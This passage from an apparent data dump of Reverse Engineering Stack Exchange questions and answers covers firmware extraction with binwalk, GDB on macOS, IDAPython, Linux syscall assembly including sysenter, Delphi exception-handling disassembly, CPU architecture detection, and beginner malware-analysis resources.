0x4FD70     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9717 bytes\n329754      0x5081A     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9957 bytes\n332630      0x51356     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4544 bytes\n334066      0x518F2     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 378 bytes\n334305      0x519E1     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1019 bytes\n334787      0x51BC3     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 12756 bytes\n338395      0x529DB     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 16497 bytes\n343482      0x53DBA     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 11019 bytes\n347416      0x54D18     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 39577 bytes\n358366      0x577DE     JPEG image data, JFIF standard  1.02\n358907      0x579FB     JPEG image data, JFIF standard  1.02\n359442      0x57C12     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1787 bytes\n361070      0x5826E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 893 bytes\n361902      0x585AE     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 637 bytes\n362528      0x58820     JPEG image data, JFIF standard  1.02\n363522      0x58C02     JPEG image data, JFIF standard  1.02\n364963      0x591A3     JPEG image data, JFIF standard  1.01\n376049      0x5BCF1     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 683 bytes\n376714      0x5BF8A     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 761 bytes\n377462      0x5C276     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 225 bytes\n377638      0x5C326     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4146 bytes\n378953      0x5C849     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1487 bytes\n379723      0x5CB4B     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2240 bytes\n380729      0x5CF39     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1527 bytes\n381510      0x5D246     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 8294 bytes\n384148      0x5DC94     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 10412 bytes\n385299      0x5E113     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 16812 bytes\n389806      0x5F2AE     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9294 bytes\n391417      0x5F8F9     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9108 bytes\n392764      0x5FE3C     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4796 bytes\n393633      0x601A1     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3710 bytes\n394440      0x604C8     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 7870 bytes\n395948      0x60AAC     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 10764 bytes\n398896      0x61630     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6804 bytes\n400960      0x61E40     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2135 bytes\n401785      0x62179     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2864 bytes\n402878      0x625BE     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3747 bytes\n404192      0x62AE0     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2776 bytes\n405196      0x62ECC     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6761 bytes\n407148      0x6366C     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1582 bytes\n407859      0x63933     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6849 bytes\n409864      0x64108     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4678 bytes\n411440      0x64730     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 11297 bytes\n414011      0x6513B     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3990 bytes\n415534      0x6572E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 12540 bytes\n418894      0x6644E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3623 bytes\n420239      0x6698F     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 13366 bytes\n423782      0x67766     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 5498 bytes\n425717      0x67EF5     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1524 bytes\n426450      0x681D2     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 28728 bytes\n434580      0x6A194     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 18125 bytes\n439538      0x6B4F2     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 36719 bytes\n445116      0x6CABC     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1940 bytes\n
\n\n

Checking the hexdump code I found that binwalk detects the lzma magic number '5d 00' but I think that this is inconsistent and a false positive:

\n\n
root@kali:~/Desktop/Firmwares/DLink# cat hexdump.txt | grep '5d 00'\n00000030  5d 00 00 00 02 f0 23 0f  00 00 00 00 00 00 20 20  |].....#.......  |\n0000c7b0  f9 5d 00 0e e6 e7 55 ca  16 5f d1 c9 67 67 30 c7  |.]....U.._..gg0.|\n00049900  ac 00 5d 00 00 00 02 c9  1d 00 00 00 00 00 00 00  |..].............|\n0004a2c0  6e 93 3d d1 e8 e3 96 5a  f9 17 38 b1 28 5d 00 00  |n.=....Z..8.(]..|\n0004bb30  25 14 f9 96 26 85 58 20  18 07 b9 fa e3 5d 00 00  |%...&.X .....]..|\n0004c360  9f f6 e9 d8 28 5d 00 00  00 02 19 19 00 00 00 00  |....(]..........|\n0004cbe0  f6 20 5d 00 00 00 02 36  18 00 00 00 00 00 00 00  |. ]....6........|\n0004d470  3f 38 df 6f 97 98 4b 41  0d 83 14 d8 4d 00 5d 00  |?8.o..KA....M.].|\n0004e000  78 c4 bc c4 11 98 56 00  5d 00 00 00 02 c3 26 00  |x.....V.].....&.|\n0004eb30  e6 73 64 e2 bc fa 37 7a  11 0d 3c b1 d2 af 5d 00  |.sd...7z..<...].|\n0004f080  57 ad 80 5f 20 ef 40 0e  7c 5d 00 00 00 02 f5 04  |W.._ .@.|]......|\n0004f280  1a 1c ab 00 5d 00 00 00  02 39 26 00 00 00 00 00  |....]....9&.....|\n0004fd70  5d 00 00 00 02 f5 25 00  00 00 00 00 00 00 1e 12  |].....%.........|\n
\n\n

After this I browsed the hexdump and found some strings in 00000000 and 00042fa0:

\n\n
00000000  41 49 48 30 4c 0f c1 fb  80 00 01 00 00 04 2f 74  |AIH0L........./t|\n00042fa0  6e 23 00 00 41 49 48 30  4c 0f c1 fb 00 00 00 00  |n#..AIH0L.......|\n
\n\n

Googling for AIH0L I did not find anything useful and now I'm stuck.

\n\n

Other things I tried was to search bin img sqsh sq sh and other strings in the hexdump without result.

\n\n

Also the entropy analysis seems weird for me. \n\"Entropy

\n\n

Did anyone faced this issues or can figure out how to extract this?\nRegards.

\n\n

EDIT:\nSearching for filesystems 'fs' in the hexdump file I found a zfs header:

\n\n

t@kali:~/Desktop/Firmwares/DLink# cat hexdump.txt | grep zfs

\n\n
0000b990  65 a7 0c aa 7a 66 73 24  1e bc b6 e8 d7 c4 29 1a  |e...zfs$......).|\n
\n\n

I'm not sure wether this points to a real zfs or it's just a coincidence. I copied the firmware from that position to the end but the new file is not recognized and the binwalk lecture is the same as above.

\n", "Title": "Reversing DLink DIR100 firmware", "Tags": "|firmware|", "Answer": "

The LZMA compression identified by binwalk is correct (or at least most of them are - I didn't check them all). If you actually extract and decompress the LZMA files, you'll find that the first one (at offset 0x30) contains the device's code (a MIPS RTOS of some sort) and the rest appear to be the HTML files for the web interface.

\n" }, { "Id": "2832", "CreationDate": "2013-09-24T21:19:16.853", "Body": "

Currently I have a binary that I am investigating. The application is GUI / event driven, so that makes it difficult to set a break point. I would like to set a break point on a certain button click, so I thought I would click the button, and then run a backtrace in GDB to see what functions were called when I clicked the button, but the output of the bt is just showing mach_msg_trap(), and a few other \"functions\" I suppose. Does anyone know why I'm in the mach_msg_trap() I am assuming it's some security feature implemented by Apple to prevent people from reversing their software, I just thought I would ask, as my googlefu didn't really return any tangible results.

\n\n

\"Screenshot

\n", "Title": "Reversing a Mac OS X binary that appears to be non encrypted, backtrace just shows mach_msg_trap ()", "Tags": "|gdb|osx|mach-o|", "Answer": "

Do you have md5 for the application?

\n\n

It seems like a GUI/Cocoa application. The code seems to be stuck in msgloop.\nThis loop generally occurs in applications, which require user interaction or when application is interacting with messages.

\n\n

The image shows the breakpoint has been hit inside __CFRunLoopRun. It means app was running and processing system messages until it met a breakpoint (which is Command+C, in this case) it need some kind of user interaction or is waiting for some message, may be a click or key press or message from some system process.

\n\n

If you have the sample md5 or SHA, I can have a look at it

\n" }, { "Id": "2835", "CreationDate": "2013-09-25T13:35:02.847", "Body": "

For every selected byte Ida Pro displays the offset in the input file where the byte can be found (displayed in the buttom bar of the Ida-View and the Hex-View). How can I retrieve this information when using the idapython API?

\n", "Title": "How to extract the input file offset of a byte in idapython?", "Tags": "|ida|idapython|", "Answer": "

When looking for functions, you should always check the SDK headers. These two are listed in loader.hpp:

\n\n
// Get offset in the input file which corresponds to the given ea\n// If the specified ea can't be mapped into the input file offset,\n// return -1.    \nidaman int32 ida_export get_fileregion_offset(ea_t ea);    \n\n// Get linear address which corresponds to the specified input file offset.\n// If can't be found, then return BADADDR    \nidaman ea_t ida_export get_fileregion_ea(int32 offset);\n
\n\n

So you can use them from IDAPython like this:

\n\n
offset = idaapi.get_fileregion_offset(ea)\nea = idaapi.get_fileregion_ea(offset)\n
\n\n

NB: not all SDK functions are exposed in Python. If you absolutely need something which is only available in C API, you can use ctypes to call it.

\n" }, { "Id": "2857", "CreationDate": "2013-09-29T15:53:39.220", "Body": "

I am trying to analyze an old malware sample in OllyDbg. It has instruction of the format CALL <JMP.&KERNEL32.SetUnhandledExceptionFilter>

\n\n

I am not an expert in Assembly. I know that CALL is used to call a sub-routine and JMP is used to jump to a particular address in the memory but what is the result of using CALL with JMP? Could anyone clarify on it? Even pointers to where I could find answers would be very helpful. Thanks.

\n", "Title": "Why is JMP used with CALL?", "Tags": "|disassembly|malware|assembly|", "Answer": "

The reason is for loading performance - the jumps are gathered into a single region that is made temporarily writable for the purpose of placing the API addresses, and is usually only a single page in size. This avoids multiple calls to VirtualProtect() by the loader, in order to write all over the code space to every reference to any given API.

\n" }, { "Id": "2862", "CreationDate": "2013-09-30T14:15:16.893", "Body": "

Where can I find some resources to start learning about vivisect? \nBlog posts, presentations, PDFs, code examples, anything would be appreciated.

\n\n

I am aware I can read the code but before doing that I would like to have something to get me started.

\n", "Title": "vtrace / vivisect resources", "Tags": "|python|dynamic-analysis|static-analysis|", "Answer": "

There's a nice blog entry on it here: http://www.singlehop.com/blog/binary-vivisection-part-1/

\n\n
\n

...

\n \n

While looking over the changelog and documentation, I realized that\n there doesn\u2019t really seem to be a good tutorial or primer for getting\n familiar with the Vivisect framework so hopefully we can remediate\n that today. In this series, we\u2019ll be covering the usage of VDB\n (dynamic debugging component) and vivisect (static analysis tool).

\n \n

...

\n
\n\n

You can also see the README file here, and some related scripts here.

\n" }, { "Id": "2869", "CreationDate": "2013-10-02T18:33:00.043", "Body": "

I would like to know what are the different ways to perform a system\ncall in x86 assembler under Linux. But, with no cheating, only\nassembler must be used (i.e. compilation with gcc must be done with\n-nostdlib).

\n\n

I know four ways to perform a system calls, namely:

\n\n\n\n

I am pretty good at using int $0x80, for example, here is a sample\ncode of a classic 'Hello World!' in assembler using int $0x80 (compile it with gcc -nostdlib -o hello-int80 hello-int80.s):

\n\n
.data\nmsg:\n  .ascii \"Hello World!\\n\"\n  len = . - msg\n\n.text\n.globl _start\n\n_start:\n# Write the string to stdout\n  movl  $len, %edx\n  movl  $msg, %ecx\n  movl  $1, %ebx\n  movl  $4, %eax\n  int   $0x80\n\n# and exit\n  movl  $0, %ebx\n  movl  $1, %eax\n  int   $0x80\n
\n\n

But the sysenter is often ending with a segmentation fault error. Why ? And, how to use it right ?

\n\n

Here is an example with call *%gs:0x10 (compiled with gcc -o hello-gs10 hello-gs10.s). Note that I need to go through the libc initialization before calling it properly (that is why I am using main and not anymore _start and, that is also why I removed the option -nostdlib from the compile line):

\n\n
.data\nmsg:\n  .ascii \"Hello World!\\n\"\n  len = . - msg\n\n.text\n.globl main\n\nmain:\n# Write the string to stdout\n  movl  $len, %edx\n  movl  $msg, %ecx\n  movl  $1, %ebx\n  movl  $4, %eax\n  call  *%gs:0x10\n\n# and exit\n  movl  $0, %ebx\n  movl  $1, %eax\n  call  *%gs:0x10\n
\n\n

Also, the syscall is working pretty well also if you know the syscall codes for this architecture (thanks to lfxgroove) (compiled with: gcc -m64 -nostdlib -o hello-syscall hello-syscall.s):

\n\n
.data\nmsg:\n  .ascii \"Hello World!\\n\"\n  len = . - msg\n\n.text\n.globl _start\n\n_start:\n# Write the string to stdout\n  movq  $len, %rdx\n  movq  $msg, %rsi\n  movq  $1, %rdi\n  movq  $1, %rax\n  syscall\n# and exit\n  movq  $0, %rdi\n  movq  $60, %rax\n  syscall\n
\n\n

So, the only problem I have to trigger a system call is this sysenter way. Here is an example with sysenter ending with a segmentation fault (compiled with gcc -m32 -nostdlib -o hello-sysenter hello-sysenter.s):

\n\n
.data\nmsg:\n  .ascii \"Hello World!\\n\"\n  len = . - msg\n\n.text\n.globl _start\n\n_start:\n# Write the string to stdout\n  movl  $len, %edx\n  movl  $msg, %ecx\n  movl  $1, %ebx\n  movl  $4, %eax\n\n  push    final\n  sub $12, %esp\n  mov %esp, %ebp\n\n  sysenter\n# and exit\nfinal:  \n  movl  $0, %ebx\n  movl  $1, %eax\n\n  sub $12, %esp\n  mov %esp, %ebp\n\n  sysenter\n
\n", "Title": "How to use sysenter under Linux?", "Tags": "|assembly|x86|", "Answer": "

System calls through sysenter

\n\n

sysenter is a i586 instruction, specifically tight to 32-bits\napplications. It has been subsumed by syscall on 64-bits plateforms.

\n\n

One particularity of sysenter is that it does require, in addition\nto the usual register setting, a few manipulations on the stack before\ncalling it. This is because before leaving sysenter, the process\nwill go through the last part of the __kernel_vsyscall assembler\nsnippet (starting from 0xf7ffd430):

\n\n
Dump of assembler code for function __kernel_vsyscall:\n   0xf7ffd420 <+0>:        push   %ecx\n   0xf7ffd421 <+1>:        push   %edx\n   0xf7ffd422 <+2>:        push   %ebp\n   0xf7ffd423 <+3>:        mov    %esp,%ebp\n   0xf7ffd425 <+5>:        sysenter \n   0xf7ffd427 <+7>:        nop\n   0xf7ffd428 <+8>:        nop\n   0xf7ffd429 <+9>:        nop\n   0xf7ffd42a <+10>:       nop\n   0xf7ffd42b <+11>:       nop\n   0xf7ffd42c <+12>:       nop\n   0xf7ffd42d <+13>:       nop\n   0xf7ffd42e <+14>:       int    $0x80\n=> 0xf7ffd430 <+16>:       pop    %ebp\n   0xf7ffd431 <+17>:       pop    %edx\n   0xf7ffd432 <+18>:       pop    %ecx\n   0xf7ffd433 <+19>:       ret    \nEnd of assembler dump.\n
\n\n

So, the sysenter instruction expect to have the stack forged in that\nway:

\n\n
0x______0c  saved_eip   (ret)\n0x______08  saved_%ecx  (pop %ecx)\n0x______04  saved_%edx  (pop %edx)\n0x______00  saved_%ebp  (pop %ebp)\n
\n\n

That's why, each time we need to call sysenter, we first have to\npush the values of the saved %eip, and the same with%ecx, %edx\nand %ebp. Which leads to:

\n\n
.data\nmsg:\n    .ascii \"Hello World!\\n\"\n    len = . - msg\n\n.text\n.globl _start\n_start:\n    pushl  %ebp\n    movl   %esp, %ebp\n# Write the string to stdout\n    movl   $len, %edx\n    movl   $msg, %ecx\n    movl   $1, %ebx\n    movl   $4, %eax\n# Setting the stack for the systenter\n    pushl  $sysenter_ret\n    pushl  %ecx\n    pushl  %edx\n    pushl  %ebp\n    movl   %esp,%ebp\n    sysenter\n# and exit\nsysenter_ret:    \n    movl   $0, %ebx\n    movl   $1, %eax\n# Setting the stack for the systenter\n    pushl  $sysenter_ret # Who cares, this is an exit !\n    pushl  %ecx\n    pushl  %edx\n    pushl  %ebp\n    movl   %esp,%ebp\n    sysenter\n
\n" }, { "Id": "2876", "CreationDate": "2013-10-03T21:28:22.077", "Body": "

So I have the following C code I wrote:

\n\n
#include <stdio.h>\n\n\nint main() {\n    int i = 1;\n\n    while(i) {\n        printf(\"in loop\\n\");\n        i++;\n\n        if(i == 10) {\n            break;\n        }\n    }\n\n    return 0;\n}\n
\n\n

Compiled with gcc (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2 it disassembles to this:

\n\n
   0x000000000040051c <+0>: push   %rbp\n   0x000000000040051d <+1>: mov    %rsp,%rbp\n   0x0000000000400520 <+4>: sub    $0x10,%rsp\n   0x0000000000400524 <+8>: movl   $0x1,-0x4(%rbp)\n   0x000000000040052b <+15>:    jmp    0x400541 <main+37>\n   0x000000000040052d <+17>:    mov    $0x400604,%edi\n   0x0000000000400532 <+22>:    callq  0x4003f0 <puts@plt>\n   0x0000000000400537 <+27>:    addl   $0x1,-0x4(%rbp)\n   0x000000000040053b <+31>:    cmpl   $0xa,-0x4(%rbp)\n   0x000000000040053f <+35>:    je     0x400549 <main+45>\n   0x0000000000400541 <+37>:    cmpl   $0x0,-0x4(%rbp)\n   0x0000000000400545 <+41>:    jne    0x40052d <main+17>\n   0x0000000000400547 <+43>:    jmp    0x40054a <main+46>\n   0x0000000000400549 <+45>:    nop\n   0x000000000040054a <+46>:    mov    $0x0,%eax\n   0x000000000040054f <+51>:    leaveq \n   0x0000000000400550 <+52>:    retq  \n
\n\n

Why is there a nop on +45? And why does not je on +35 just jump right to +46?

\n", "Title": "Why is there in a nop in the while loop", "Tags": "|disassembly|", "Answer": "

Another reason for NOP insertion is due to pipeline scheduling. If it takes a cycle for branch prediction to determine whether it was correct or not (and if not to flush the pipe), then you'd need a cycle delay before results are committed to registers.

\n\n

Regarding the specific example where the jump equal goes to a NOP, it appears to me that the processor needs a cycle to determine whether it got the right answer or not and adjust the pipe as necessary.

\n\n

Great job digging in to the code and understanding what is going on. :)

\n" }, { "Id": "2881", "CreationDate": "2013-10-04T03:14:39.533", "Body": "

I would like learn how to reverse engineer malwares. I have a very small experience reverse engineering windows applications. I would like to know if there are good resources that is helpful in learning this.

\n", "Title": "Intro to reverse engineering", "Tags": "|malware|", "Answer": "

Have a look at this answer. It includes beginner malware training videos.

\n\n

Not familiar with malware myself, I do often see the following books recommended in answers:

\n\n\n\n

Keeping an eye on /r/Malware over at Reddit can also be a good idea. It's a place where allot of analysis reports are posted. Which you can look at as small tutorials.

\n\n

-edit-

\n\n

Another source I remembered is: Dr. Fu's Malware analysis tutorials

\n\n
\n

It describes building and configuring a malware lab using virtual machines and then continues analyzing a real piece of malware.

\n
\n" }, { "Id": "2887", "CreationDate": "2013-10-05T19:36:21.723", "Body": "

I have just started my journey into the vast and intersting field of malware analysis. I would like to know if there is any website/book or another resource that explains what a particular block of assembly code does. A detailed description of the code would be well appreciated. I know assembly language to some extent and is familiar with all the concepts,function call procedure etc. But i have very little knowledge on how all these applies when it come to windows. like what happens when a dll is used,etc... I would be very glad if someone could tell me where to find a resource that provides a step by step detailed analysis of any malware or any program for that matter.

\n\n

I have already a considerable experience in reverse engineering windows applications, most of the knowledge been taken from the 'legend of r4ndom' and woodman websites. I need something that clearly explains how a particular assembly code interacts with windows dlls, resources like menu bars text boxes, etc..

\n", "Title": "Detailed description of malware content", "Tags": "|malware|", "Answer": "

I recommend You to start from basics, so:

\n\n
    \n

  1. \"Windows Internals\" by Mark Russinovich and David Solomon is a good start for hard copy book.

    2. \n

  2. OpenSecurityTraining - start from Beginner's courses by interest

    3. \n
\n\n

When You done with those - I am sure You'll be able to ask more specific questions and get more detailed and sophisticated answers.\nGood luck!

\n" }, { "Id": "2895", "CreationDate": "2013-10-06T23:42:28.683", "Body": "

I'm having trouble reverse-engineering a specific Delphi Pascal .exe (old vsn., pre-1995 so probably v.3). From the system calls I understand this is probably a try..except..finally block, but I am at a loss finding the 'normal' route through the code, and what the except and (possibly) finally blocks are.

\n\n

The assembly looks like this:

\n\n
782CFC  33 C0                   xor    eax, eax\n782CFE  55                      push   ebp\n782CFF  68 (782E37)             push   _FINALLY_A_0_782E37\n782D04  64 FF 30                push   dword ptr fs:[eax]\n782D07  64 89 20                mov    dword ptr fs:[eax], esp\n\n            _try_0_782D0A:\n782D0A  8B D3                   mov    edx, ebx\n782D0C  8B C6                   mov    eax, esi\n782D0E  E8 D1 F3 FF FF          call   ...unrelated...\n782D13  8D 56 1C                lea    edx, [esi+1Ch]\n.. lots of regular code here ..\n.. ending with ..\n782E17  8B 18                   mov    ebx, dword ptr [eax]\n782E19  FF 53 20                call   dword ptr [ebx+20h]\n\n        finally_1_782E1C:\n782E1C  33 C0                   xor    eax, eax\n782E1E  5A                      pop    edx\n782E1F  59                      pop    ecx\n782E20  59                      pop    ecx\n782E21  64 89 10                mov    dword ptr fs:[eax], edx\n782E24  68 (782E3E)             push   _end_1_782E3E\n\n                @block_L:\n782E29  8D 45 F4                lea    eax, [ebp + local_0C]\n782E2C  BA 02 00 00 00          mov    edx, 2\n782E31  E8 12 E3 F7 FF          call   System.@LStrArrayClr\n782E36  C3                      retn\n\n            _FINALLY_A_0_782E37:\n782E37  E9 B4 E2 F7 FF          jmp    System.@HandleFinally\n\n            _FINALLY_B_0_782E3C:\n782E3C  EB EB                   jmp    @block_L\n                ; -------\n\n            _end_1_782E3E:\n782E3E  5F                      pop    edi\n782E3F  5E                      pop    esi\n782E40  5B                      pop    ebx\n782E41  8B E5                   mov    esp, ebp\n782E43  5D                      pop    ebp\n782E44  C3                      retn\n
\n\n

-- this is output from my own disassembler, but I don't think there are errors in it. The labels have been auto-named, but I still cannot follow the 'logic' (if any) from one block to the next. In particular, the bottom half, right before the function epilogue, confuses me.

\n\n

Are these fragments enough to reconstruct the original try..finally blocks?

\n\n
\n\n

After reading Igor's answer: yes they are. Consider these flowcharts: left, original before special handling of try/finally blocks, right, afterwards.

\n\n

\"flowcharts\"

\n\n

In the original flowchart, I considered every jump from one basic block to another as a link, and the code flow stops at every retn. if (E-(F)-K) and if-else (G-H/I-J) structures can clearly be discerned. However, pushing return addresses and the other 'tricks' of exception handling, defeat this, as can be seen by the dangling blocks N and O -- they 'enter' from nowhere --, and a separate block 'M' which comes and goes from nowhere.

\n\n

At the right, I separated the initialization of the exception block from the main code (adding a new block B), and concatenated the finalize structure into one single new block (M), which ultimately jumps to an AFTER_TRY (which happened to be the last Exit block). Now it's clear that

\n\n
    \n
  1. right after the prologue, a try is initiated;
    2. \n
  2. all code ends up at the finally block M, which
    3. \n
  3. then always exists the code at a single fixed point.
    4. \n
\n", "Title": "Delphi Pascal Try..Except..Finally block", "Tags": "|disassembly|decompilation|", "Answer": "

Delphi implements try/except/finally by using Win32 Structured Exception Handlers (SEH). The basics of SEH are explained in the classic article by Matt Pietrek, so I'll skip to the details relevant to Delphi only.

\n\n

1. try entry

\n\n

Entry to a try block, or a block which protects automatic variables that need to be destructed on exit (such as strings) looks like the following:

\n\n
xor     eax, eax\npush    ebp\npush    offset SEH_HANDLER\npush    dword ptr fs:[eax]\nmov     fs:[eax], esp\n
\n\n

This is a typical way of setting up a SEH frame. After it's run, top of the stack will look like this:

\n\n
       +-----------+\nESP+00 |    next   | <- fs:[0] points here\n       +-----------+\nESP+04 |  handler  |\n       +-----------+\nESP+08 | saved_ebp |\n       +-----------+\n
\n\n

The pointer to this structure will be passed to the SEH handler.

\n\n

2. try exit

\n\n

At the end of the try block, the SEH frame is torn down:

\n\n
    xor     eax, eax\n    pop     edx               ; pop 'next' into edx\n    pop     ecx               ; pop handler\n    pop     ecx               ; pop saved_ebp\n    mov     fs:[eax], edx     ; move 'next' into fs:[0]\n
\n\n

If there is a finally handler or automatic destructors, then it continues like this:

\n\n
    push    offset AFTER_TRY  ; make it so the 'ret' will jump to AFTER_TRY\nFINALLY_HANDLER:\n    <destruct automatic variables created in the try block>\n    <finally handler body>\n    ret                       ; jumps to AFTER_TRY\n
\n\n

Otherwise there is a simple jump:

\n\n
    jmp AFTER_TRY\n
\n\n

3. finally handler

\n\n

In case the program use finally statement, or in case of the try..finally added by the compiler to guard automatic variables, the SEH handler looks like this:

\n\n
SEH_HANDLER:\n    jmp     _HandleFinally\n    jmp     FINALLY_HANDLER\n
\n\n

4. except handler

\n\n

If the program uses an except handler to catch all exceptions, the code looks a little different:

\n\n
SEH_HANDLER:\n    jmp     _HandleAnyException\n    <handler code>\n    call    _DoneExcept\n
\n\n

5. except on handlers

\n\n

If the program uses except on... to match the exception(s) being caught, the compiler generates a table of one or more possible exception classes with corresponding handlers:

\n\n
SEH_HANDLER:\n    jmp     _HandleOnException\n    dd <numExceptions>\n    dd offset ExceptionClass1\n    dd offset OnException1_handler\n    dd offset ExceptionClass2\n    dd offset OnException2_handler\n    <...>\n\nOnException1_handler:\n    <handler code>\n    call    _DoneExcept\n\nOnException2_handler:\n    <handler code>\n    call    _DoneExcept\n
\n\n

There may be some variations, but I think I covered most of it.

\n\n

The source code of _HandleFinally, _HandleAnyException, _HandleOnException, _DoneExcept and a few other exceptions-related functions can be found in system.pas in the VCL sources.

\n" }, { "Id": "2897", "CreationDate": "2013-10-08T11:41:41.500", "Body": "

Assuming that I have binary file with code for an unknown CPU, can I somehow detect the CPU architecture? I know that it depends mostly on the compiler, but I think that for most CPU architectures it should be a lot of CALL/RETN/JMP/PUSH/POP opcodes (statistically more than others). Or maybe should I search for some patterns in code specific for a particular CPU (instead of opcode occurrences)?

\n", "Title": "Tool or data for analysis of binary code to detect CPU architecture", "Tags": "|binary-analysis|", "Answer": "

Two additional methods that haven't been mentioned yet.

\n

binwalk's disassembly scan (note: must have capstone installed)

\n
Disassembly Scan Options:\n    -Y, --disasm                 Identify the CPU architecture of a file using the capstone disassembler\n    -T, --minsn=<int>            Minimum number of consecutive instructions to be considered valid (default: 500)\n    -k, --continue               Don't stop at the first match\n\n
\n

Example output (image is ARM LE):

\n
$ binwalk -Yk image.img\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n3             0x3             ARM executable code, 32-bit, big endian, at least 726 valid instructions\n1048576       0x100000        ARM executable code, 32-bit, little endian, at least 1250 valid instructions\n2099012       0x200744        ARM executable code, 32-bit, little endian, at least 846 valid instructions\n3158316       0x30312C        ARM executable code, 32-bit, little endian, at least 899 valid instructions\n4201328       0x401B70        ARM executable code, 32-bit, little endian, at least 1250 valid instructions\n5253066       0x5027CA        ARM executable code, 16-bit (Thumb), big endian, at least 2499 valid instructions\n6308406       0x604236        ARM executable code, 16-bit (Thumb), little endian, at least 2499 valid instructions\n
\n

cpu_rec

\n

Can be used as either a standalone tool or a binwalk module.

\n

binwalk usage:

\n
Statistical CPU guessing Options:\n    -%, --markov                 Identify the CPU opcodes in a file using statistical analysis\n
\n

Example output, used as a binwalk module (image is ARM LE):

\n
$ binwalk -% image.img\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             None (size=0x800, entropy=0.757822)\n2048          0x800           CLIPPER (size=0x800, entropy=0.728492)\n4096          0x1000          None (size=0x2000, entropy=0.129643)\n12288         0x3000          ARMel (size=0x35c000, entropy=0.795123)\n3534848       0x35F000        None (size=0x800, entropy=0.797443)\n3536896       0x35F800        ARMel (size=0x16800, entropy=0.834972)\n3629056       0x376000        None (size=0x800, entropy=0.764094)\n3631104       0x376800        ARMel (size=0x16a000, entropy=0.797543)\n5113856       0x4E0800        None (size=0x1800, entropy=0.841936)\n5120000       0x4E2000        ARMel (size=0x1000, entropy=0.812677)\n5124096       0x4E3000        None (size=0x1000, entropy=0.844949)\n5128192       0x4E4000        ARMel (size=0xc000, entropy=0.792995)\n5177344       0x4F0000        None (size=0x24000, entropy=0.763681)\n5324800       0x514000        6502 (size=0x24000, entropy=0.974422)\n5472256       0x538000        None (size=0x137800, entropy=0.728785)\n\n
\n" }, { "Id": "2904", "CreationDate": "2013-10-09T19:39:24.000", "Body": "

This C++ binary has code snippets and paths to sourcecode files everywhere, which is probably some sort of debug info.

\n\n\n\n

\"IDA

\n", "Title": "Are those code snippets and file paths in a C++ binary some sort of standard debug information?", "Tags": "|ida|c++|debugging-symbols|", "Answer": "

It has the fingerprint of an assert:

\n\n
    \n
  1. it's called directly after a test;
    2. \n
  2. it uses a number -- probably a source line number --, a string which points to a file name -- the source file -- and a string that describes an error condition;
    3. \n
  3. it does not return. (Can be inferred because the inspected value would lead to an erronous situation if the called function returned.)
    4. \n
\n\n

